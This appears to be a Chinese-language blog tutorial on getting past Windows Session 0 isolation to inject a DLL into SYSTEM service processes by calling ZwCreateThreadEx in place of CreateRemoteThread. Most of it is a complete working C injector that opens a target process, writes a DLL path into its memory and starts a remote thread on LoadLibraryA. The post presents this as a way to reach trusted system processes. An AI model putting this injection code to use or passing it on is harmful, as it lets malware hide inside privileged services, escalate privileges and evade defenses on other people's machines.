抱歉,您的浏览器无法访问本站
本页面需要浏览器支持(启用)JavaScript
了解详情 >

引入Session概念后,我们无法通过注入服务进程来实现可信任进程注入。当我们尝试注入session0当中的进程通常会失败,就是因为我们所处的session与系统服务进程不在同一个session当中。

概念

​ 首先来解释一下Session隔离机制。在Windows XP、Windows Server 2003,以及更老版本的Windows操作系统中,服务和应用程序使用相同的会话(SESSION)来运行,而这个会话是由第一个登录到控制台的用户来启动的,该会话就称为SESSION 0。将服务和用户应用程序一起在SESSION 0中运行会导致安全风险,因为服务会使用提升后的权限来运行,而用户应用程序使用用户特权(大部分都是非管理员用户)运行,这会使得恶意软件把某个服务作为攻击目标,通过“劫持”该服务以达到提升自己权限级别的目的。

​ 从Windows VISTA开始,只有服务可以托管到SESSION 0中,用户应用程序和服务之间会进行隔离,并需要运行在用户登录系统时创建的后续会话中。如第一个登录用户创建Session 1,第二个登录用户创建Session 2,以此类推。

​ 我们使用CreatRemoteThread在普通用户进程注入shellcode或者Dll没问题,但是想要更进一步注入到系统进程中,那么就一定会失败,就是由于Session 0隔离的缘故。我们接下来就要解决这个问题。

实现方法

​ 引入Session隔离机制后,使用CreateRemoteThread创建远程线程时线程先挂起,然后判断是否运行在所属会话层后再决定是否恢复运行。

ZwCreateThreadEx函数比CreateRemoteThread函数更接近内核,CreateRemoteThread最终也是调用ZwCreateThreadEx函数来创建线程的,通过前人对CreateRemoteThread逆向研究发现,在内部调ZwCreateThreadEx会把第七个参数创建标识设置为1,这样会使在系统服务创建的线程挂起,这也是注入失败的原因。

​ 只要你学过远程线程注入就明白这个技术的实现过程,只是将CreateRemoteThread换成了ZwCreateThreadEx

代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
#include <Windows.h>
#include <stdio.h>

//ZwCreateThreadEx的32位和64位定义
#ifdef _WIN64
typedef DWORD(WINAPI* typedef_ZwCreateThreadEx)(
PHANDLE ThreadHandle,
ACCESS_MASK DesiredAccess,
LPVOID ObjectAttributes,
HANDLE ProcessHandle,
LPTHREAD_START_ROUTINE lpStartAddress,
LPVOID lpParameter,
ULONG CreateThreadFlags,
SIZE_T ZeroBits,
SIZE_T StackSize,
SIZE_T MaximumStackSize,
LPVOID pUnkown);
#else
typedef DWORD(WINAPI* typedef_ZwCreateThreadEx)(
PHANDLE ThreadHandle,
ACCESS_MASK DesiredAccess,
LPVOID ObjectAttributes,
HANDLE ProcessHandle,
LPTHREAD_START_ROUTINE lpStartAddress,
LPVOID lpParameter,
BOOL CreateSuspended,
DWORD dwStackSize,
DWORD dw1,
DWORD dw2,
LPVOID pUnkown);
#endif

typedef DWORD(WINAPI* typedef_LoadLibraryA)(char* path);



int main() {
//x64DLL路径
char DllPath[] = "F:\\code_py&C\\vs2017\\injecte\\Dll1\\x64\\Release\\Dll1.dll";
//x32
//char DllPath[] = "F:\\code_py&C\\vs2017\\injecte\\Dll1\\Debug\\Dll1.dll";
DWORD dwPid = 28496 ;

HANDLE hRemoteThread;

HMODULE hNtModule = GetModuleHandleA("ntdll.dll");

HMODULE hKeModule = GetModuleHandleA("Kernel32.dll");

typedef_ZwCreateThreadEx ZwCreateThreadEx = (typedef_ZwCreateThreadEx)GetProcAddress(hNtModule, "ZwCreateThreadEx");

typedef_LoadLibraryA myLoadLibraryA = (typedef_LoadLibraryA)GetProcAddress(hKeModule, "LoadLibraryA");

HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE,dwPid);

LPVOID lpBaseAddress = VirtualAllocEx(hProcess, NULL, sizeof(DllPath) + 1, MEM_COMMIT, PAGE_READWRITE);

WriteProcessMemory(hProcess, lpBaseAddress, DllPath, sizeof(DllPath), 0);

ZwCreateThreadEx(&hRemoteThread, PROCESS_ALL_ACCESS, NULL, hProcess, (LPTHREAD_START_ROUTINE)myLoadLibraryA, lpBaseAddress, 0, 0, 0, 0, NULL);

CloseHandle(hRemoteThread);
CloseHandle(hProcess);
FreeLibrary(hKeModule);
FreeLibrary(hNtModule);
return 0;

}